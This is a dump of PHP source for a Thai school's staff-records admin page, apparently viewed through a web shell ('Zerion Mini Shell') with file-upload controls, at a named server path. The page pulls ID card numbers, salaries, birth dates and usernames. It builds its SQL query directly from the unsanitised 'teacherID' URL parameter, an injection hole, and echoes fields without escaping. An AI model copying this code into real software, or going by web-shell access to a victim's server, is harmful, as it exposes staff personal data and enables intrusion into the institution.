Mini Shell

Direktori : /var/www/vhosts/ccp.ac.th/smtp.ccp.ac.th/httpdocs/sp/admin/
Upload File :
Current File : /var/www/vhosts/ccp.ac.th/smtp.ccp.ac.th/httpdocs/sp/admin/show_teacher.php

<?php
       include 'head.php';
        if ($s_status_user == 3) {
           header("Location: login.php");
          }
       include 'function_show.php';
       
?>
<!DOCTYPE html>
<!--
This is a starter template page. Use this page to start your new project from
scratch. This page gets rid of all links and provides the needed markup only.
-->
<html>
 <style>
abbr {
color: green;
}
</style>
<!--
BODY TAG OPTIONS:
=================
Apply one or more of the following classes to get the
desired effect
|---------------------------------------------------------|
| SKINS         | skin-blue                               |
|               | skin-black                              |
|               | skin-purple                             |
|               | skin-yellow                             |
|               | skin-red                                |
|               | skin-green                              |
|---------------------------------------------------------|
|LAYOUT OPTIONS | fixed                                   |
|               | layout-boxed                            |
|               | layout-top-nav                          |
|               | sidebar-collapse                        |
|               | sidebar-mini                            |
|---------------------------------------------------------|
-->
<body class="hold-transition skin-blue sidebar-mini">
<div class="wrapper">
<!-- Main Header -->
<?php include 'header.php'; ?>
    <!-- Left side column. contains the logo and sidebar -->
<?php include 'leftside.php'; ?> 
  <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
       <?php
             $teacherID = $_GET['teacherID'];
             $sql = "SELECT * FROM teacher AS t1 LEFT JOIN title_name AS t2 ON (t1.titleID = t2.titleID) LEFT JOIN type_personnel AS t3 ON (t1.typeID = t3.typeID) LEFT JOIN tbl_type AS t4 ON (t1.position = t4.type_id) LEFT JOIN tbl_sub_type AS t5 ON (t1.positionManage = t5.sub_type_id) LEFT JOIN academic AS t6 ON (t1.academic = t6.Code) WHERE teacherID='$teacherID'";
             $result = mysqli_query($link, $sql);
             $row = mysqli_fetch_assoc($result);
        ?>
    <section class="content-header">
      <h1>
        ประวัติบุคลากร
        <small>แฟ้มประวัติบุคลากร</small>
      </h1>
      <ol class="breadcrumb">
        <li><a href="teacher.php"><i class="fa fa-dashboard"></i> ประวัติบุคลากรทั้งหมด</a></li>
        <li class="active">แฟ้มประวัติบุคลากร</li>
      </ol>
    </section>
    
    <!-- Main content -->
        <section class="content">
          <!-- Your Page Content Here -->
         
          <div class="box box-primary">
         <div class="box-header with-border">
         <h3 class="box-title"><i class="fa fa-address-card-o"></i>&nbsp;ประวัติบุคลากร</h3>
         <div class="box-tools pull-right">
      <!-- Here is a label for example -->
      </div><!-- /.box-tools -->
  </div><!-- /.box-header -->
  <div class="box-body">
      
     
      <?php
      $pic_name = $row['picture'];
      if (empty($pic_name)){
       $pic_name = 'noimg.jpg';
         }
      ?>
        <div class="row">
  <div class="col-md-4"></div>
  <div class="col-md-4">
  
   <div class="box box-widget widget-user">
            <!-- Add the bg color to the header using any of the bg-* classes -->
            <div class="widget-user-header bg-aqua-active">
              <h3 class="widget-user-username"><?php echo  $row['titleName']; ?><?php echo  $row['name']; ?> <?php echo  $row['lastName']; ?></h3>
              <h5 class="widget-user-desc"><strong>ตำแหน่ง</strong>   <?php echo $row['typePersonnel']; ?></h5>
            </div>
            <div class="widget-user-image">
                <a data-lity href="./dist/img/<?php echo $pic_name ?>" target="_blank"><img class="img-thumbnail" src="./dist/img/<?php echo  $pic_name; ?>" alt="./dist/img/<?php echo $pic_name; ?>" width= "110" height="103" ></a>
            </div>
            <div class="box-footer">
            
        
            </div>
          </div>
  
  </div>
  <div class="col-md-4"></div>
</div> 
      
     
   
      <div class="box box-solid box-primary">
        <div class="box-header">
            <h3 class="box-title"> <i class="fa fa-user-o"></i> &nbsp; รหัสบุคลากร&nbsp;&nbsp;<u><?php echo $row['teacherID']; ?></u></h3>
        </div><!-- /.box-header -->
        <div class="box-body">
    
   <div class="row">
       <div class="col-md-4">
             <div class="panel-heading">
              <?php
                     // $sexif = $row['sex'];
                      // if ($sexif == "0"){
                          // $sex = "ชาย";
                      // }  else if ($sexif == "1") {
                           //$sex = "หญิง";
                      // }
             ?>
               
           <strong >ชื่อ-สกุล</strong> <abbr>&nbsp;<?php echo $row['titleName']; ?> <?php echo $row['name']; ?>&nbsp;&nbsp; <?php echo  $row['lastName']; ?></abbr>
           </div>
          
       </div>
       <div class="col-md-4">
         <div class="panel-heading">
               <strong>เลขที่ตำแหน่ง</strong> <abbr>&nbsp;<?php echo  $row['noPosition']; ?></abbr>
           </div>
        </div>   
       <div class="col-md-4">        
           <div class="panel-heading">
               <strong>เลขที่ใบอนุญาตประกอบวิชาชีพ</strong> <abbr>&nbsp;<?php echo  $row['licenseNumber']; ?></abbr>
          </div>            
      </div>    
    </div>    
      
   <div class="row">
        <?php 
         
        $date1 = $row['licenseDate'];
        if ($date1 == "0000-00-00"){
            $date = "";
        }else{       
          $date=displaydate($date1);           
        }
       ?> 
       <div class="col-md-4">        
       <div class="panel-heading">
               <strong>วัน เดือน ปี ใบประกอบวิชาชีพ</strong><abbr>&nbsp;<?php echo $date; ?></abbr>
           </div>                
       </div>
       <div class="col-md-4">       
        <div class="panel-heading">
               <strong>เลขบัตรประชาชน</strong><abbr>&nbsp;<?php echo FnID($row['idCard']); ?></abbr>
            </div>                    
       </div>
       <?php  
          $date1 = $row['birthDate'];
          if ($date1 == "0000-00-00"){
            $date = "";
           }else{       
          $date=displaydate($date1); 
           }
           ?> 
       <div class="col-md-4">        
             <div class="panel-heading">
               <strong>วัน เดือน ปี เกิด</strong><abbr>&nbsp;<?php echo $date; ?></abbr>
          </div>                     
        </div>    
   </div> 
   <div class="row">
       <div class="col-md-4">
        <div class="panel-heading">
               <strong>หมู่โลหิต</strong><abbr>&nbsp;<?php echo 'กรุป&nbsp;'.$row['bloodGroup']; ?></abbr>
           </div>                      
        </div>
       <div  class="col-md-4">           
      <div class="panel-heading">
               <strong>สถานภาพ</strong><abbr>&nbsp;<?php echo  $row['status']; ?></abbr>
           </div>                     
         </div>
       <div class="col-md-4">
           <div class="panel-heading">
               <strong>อายุ</strong> <abbr>&nbsp;<?php  
                  $date = new DateTime('now');
                  $dateUS = new DateTime('now', new DateTimeZone('Asia/Bangkok'));
                  $timeStart = DateTime::createFromFormat('Y-m-d', $row['birthDate']);
                  echo $timeStart->diff($date)->format('%y'), ' ปี ', $timeStart->diff($date)->format('%m'), ' เดือน ', $timeStart->diff($date)->format('%d'), ' วัน'; 
           ?> </abbr>
           </div>                
       </div>    
   </div>
     <div class="row">
       <div class="col-md-4">       
               <div class="panel-heading">
               <strong>เบอร์โทรศัพท์</strong><abbr>&nbsp;<?php echo TelFormat($row['telephone']); ?></abbr>
            </div>          
       </div>
       <div class="col-md-4">
             <?php  
          $date1 = $row['dateGovernment'];
          if ($date1 == "0000-00-00"){
            $date = "";
           }else{       
          $date=displaydate($date1);
           }
           ?>
           
               <div class="panel-heading">
              <strong>วันที่เริ่มรับราชการ</strong><abbr>&nbsp;<?php echo $date; ?></abbr>
           </div>
           
       </div>
       <div class="col-md-4">
              <?php  
          $date1 = $row['dateGovernmentPresent'];
          if ($date1 == "0000-00-00"){
            $date = "";
        }else{       
          $date=displaydate($date1); 
        }
           ?>          
               <div class="panel-heading">
               <strong>วันที่ดำรงตำแหน่งปัจจุบัน	</strong><abbr>&nbsp;<?php echo '&nbsp;'.$date; ?></abbr>
           </div>
         
       </div>
         </div>  
      <div class="row">
        <div class="col-md-4">          
               <div class="panel-heading">
               <strong>ขั้นเงินเดือน</strong><abbr>&nbsp;<?php echo  number_format($row['salary']); ?> </abbr><strong>&nbsp;บาท</strong>
           </div>          
       </div>
       <div class="col-md-4">         
               <div class="panel-heading">
               <strong>เงินวิทยฐานะ</strong><abbr>&nbsp;<?php echo  number_format($row['salaryPosition']); ?></abbr><strong>&nbsp;บาท</strong>
           </div>          
       </div>
       <div class="col-md-4">
          
               <div class="panel-heading">
               <strong>เงินเพิ่มการครองชีพชั่วคราว</strong><abbr>&nbsp;<?php echo  number_format($row['salaryCost']); ?> </abbr><strong>&nbsp;บาท</strong>
          </div>
         
       </div>
       </div>
    <div class="row">      
       <div class="col-md-4">
           
               <div class="panel-heading">
               <strong>เงินค่าตอบแทนพิเศษ</strong><abbr>&nbsp;<?php echo  number_format($row['salaryCompensation']); ?> </abbr><strong>&nbsp;บาท</strong>
           </div> 
          
       </div>
       <div class="col-md-4">           
               <div class="panel-heading">
               <strong>ตำแหน่ง</strong><abbr>&nbsp;<?php echo  $row['type_name']; ?></abbr>
           </div>       
       </div>
   
       <div class="col-md-4">
           
               <div class="panel-heading">
               <strong>สายงาน</strong><abbr>&nbsp;<?php echo  $row['sub_type_name']; ?></abbr>
           </div> 
         </div>
     </div>
       
      <div class="row">      
       <div class="col-md-4">           
               <div class="panel-heading">
              <strong>สายชั้นที่สอนปีที่</strong><abbr>&nbsp;<?php echo  $row['class']; ?></abbr>
           </div>          
       </div>
       <div class="col-md-4">        
              <div class="panel-heading">
               <strong>วิทยฐานะ</strong><abbr>&nbsp;<?php echo  $row['academicName']; ?></abbr>
           </div>         
       </div>
       <div class="col-md-4">           
               <div class="panel-heading">
               <strong>อันดับ</strong><abbr>&nbsp;<?php echo  $row['rating']; ?></abbr>
           </div>           
        </div> 
   </div>  
      <div class="row">
       <div class="col-md-4">        
               <div class="panel-heading">
               <strong>ประเภทบุคลากร</strong><abbr>&nbsp;<?php echo  $row['typePersonnel']; ?></abbr>
           </div>           
       </div>
       <div class="col-md-4">          
               <div class="panel-heading">
              <strong>ชื่อผู้ใช้งาน</strong><abbr>&nbsp;<?php echo  $row['username']; ?></abbr>
           </div>         
       </div>  
   </div>
        
 
         
     <div class="box-footer">
    <a  href="teacher.php" class="btn btn-default"><i class="fa fa-reply"></i>&nbsp;กลับ</a>  <a href="frm_teacher_edit.php?teacherID=<?php echo $row['teacherID']; ?>" class="btn btn-warning"><i class="fa fa-pencil"></i>&nbsp;แก้ไขข้อมูล</a>
      <a href="show_teacher_pdf.php?teacherID=<?php echo $row['teacherID']; ?>" class="btn btn-success" target="_blank"><span class="glyphicon glyphicon-print"></span>&nbsp;&nbsp;พิมพ์รายงาน</a>
     </div><!-- box-footer -->
     </div><!-- /.box-body -->
      </div><!-- /.box -->
     
      </div>
      
  </div><!-- /.box-body -->
  
</div><!-- /.box -->   

<div id="spin"></div>   

    </section>
    <!-- /.content -->
  
  <!-- /.content-wrapper -->

  <!-- Main Footer -->
 <?php include 'footer.php'; ?>

  
</div>
<!-- ./wrapper -->

<!-- REQUIRED JS SCRIPTS -->

<script src="plugins/jQuery/jQuery-2.1.4.min.js"></script>
<!-- Bootstrap 3.3.6 -->
<script src="bootstrap/js/bootstrap.min.js"></script>
<!-- AdminLTE App -->
<script src="dist/js/app.min.js"></script>
<script src="bootstrap/js/smoke.min.js"></script>
<script src="bootstrap/js/spin.min.js"></script>
<script src="bootstrap/js/moment.js"></script>
<script src="bootstrap/js/bootstrap-datetimepicker.min.js"></script>
<script src="bootstrap/js/lity.min.js"></script>
<!-- Optionally, you can add Slimscroll and FastClick plugins.
     Both of these plugins are recommended to enhance the
     user experience. Slimscroll is required when using the
     fixed layout. -->
</body>
</html>

Zerion Mini Shell 1.0